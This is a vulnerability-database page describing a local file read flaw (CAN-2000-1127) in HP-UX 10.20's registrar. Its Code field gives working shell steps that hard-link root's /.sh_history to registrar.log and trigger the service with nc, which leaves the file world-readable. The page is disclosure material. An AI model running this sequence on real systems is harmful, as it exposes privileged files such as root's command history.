exploits , vulnerabilities , articles , HP-UX registrar Local Arbitrary File Read Vulnerability

Title	HP-UX registrar Local Arbitrary File Read Vulnerability
Published	2000-11-08-12:00AM
Updated	2000-11-08-12:00AM
Class	Origin Validation Error
CVE	CAN-2000-1127
Remote	No
Local	Yes
Credit	First posted to Bugtraq by J.A. Gutierrez <spd@gtc1.cps.unizar.es> on Nov 8, 2000.
Vulnerable	HP HPUX 10.20
Not Vulnerable
Code	$ uname -sr HP-UX B.10.20 $ cd /etc/opt/resmon/log $ mv registrar.log registrar.log.orig $ ls -l /.sh_history -rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history $ ln /.sh_history registrar.log $ nc hpux.example.com 1712 < /etc/motd $ ls -l /.sh_history -rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history $ rm -f registrar.log $ mv registrar.log.orig registrar.log
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
• 2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
• 2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
• 2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities
• 2009-12-17 Winamp JPEG and PNG Multiple Integer Overflow Vulnerabilities
• 2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability
• 2009-12-17 IBM WebSphere Application Server Feature Pack for CEA Spoofing Vulnerability
• 2009-12-17 Digital Scribe Cross Site Scripting and SQL Injection Vulnerabilities
• 2009-12-17 WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
• 2009-12-17 Quick Heal AntiVirus Insecure Program File Permissions Local Privilege Escalation Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 12:19:54 +0000